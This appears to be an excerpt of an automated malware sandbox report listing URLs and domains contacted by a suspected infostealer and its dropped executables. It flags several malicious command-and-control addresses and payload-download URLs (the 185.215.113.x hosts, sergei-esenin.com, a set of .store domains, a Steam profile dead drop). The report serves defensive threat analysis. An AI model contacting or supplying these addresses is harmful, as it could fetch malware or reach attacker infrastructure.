https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://identity.mozilla.com/ids/ecosystem_telemetryU	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://identity.mozilla.com/apps/relay	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe
https://spocs.getpocket.com	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.1	true	false		unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
services.addons.mozilla.org	52.222.236.23	true	false		unknown
sergei-esenin.com	172.67.206.204	true	true		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.186.46	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	216.58.206.46	true	false		unknown
steamcommunity.com	104.102.49.254	true	true		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
reddit.map.fastly.net	151.101.65.140	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spirittunek.store	unknown	unknown	true		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
licendfilteo.site	unknown	unknown	true		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
support.mozilla.org	unknown	unknown	false		unknown
eaglepawnoy.store	unknown	unknown	true		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
www.facebook.com	unknown	unknown	false		unknown
bathdoomgaz.store	unknown	unknown	true		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
studennotediw.store	unknown	unknown	true		unknown
mobbipenju.store	unknown	unknown	true		unknown
normandy.cdn.mozilla.net	unknown	unknown	false		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
clearancek.site	unknown	unknown	true		unknown
dissapoiznw.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
dissapoiznw.store	true	unknown
https://steamcommunity.com/profiles/76561199724331900	true	unknown
https://sergei-esenin.com/api	true	unknown
http://185.215.113.43/Zu7JuNko/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000015.00000003.2207474887.0000016C0CDC4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/learning/acces	48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2803605107.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2685094039.000000000537C000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2683118799.000000000070E000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2758876464.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2762424859.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2757260734.0000000005408000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/globalv2.css?v=dQy8Omh4p9PH&l=english	file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.gstatic.cn/recaptcha/	48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exe1395d7d2	skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/Pu	file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://identity.mozilla.com/ids/ecosystem_telemetryU	firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpv	7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000015.00000003.2083482894.0000016C1390C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpa	a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199724331900u	66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpi	2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phph	7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api4B	9b7d422018.exe, 0000001F.00000003.2680551648.0000000005350000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 00000015.00000003.2196521682.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/firefox/addon/to-google-translate/	firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2104170885.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 00000015.00000003.2203071437.0000016C0EAA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/	firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/promo/summer2017/stickers.css?v=P8gOPraCSjV6&l=engl	file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/well/random.exeo	file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37CDDG	2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://sergei-esenin.com/Ua	file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.bellmedia.c	firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://youtube.com/	firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247091979.0000016C0DF9D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.steamstatic.com/public/javascript/applications/community/libraries~b28b7af69.js?v=	file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpWindows	a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/6	9b7d422018.exe, 0000001B.00000003.2477576841.0000000001371000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2478219685.0000000001373000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 00000015.00000003.2207149416.0000016C0CE09000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/5	66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	false		unknown
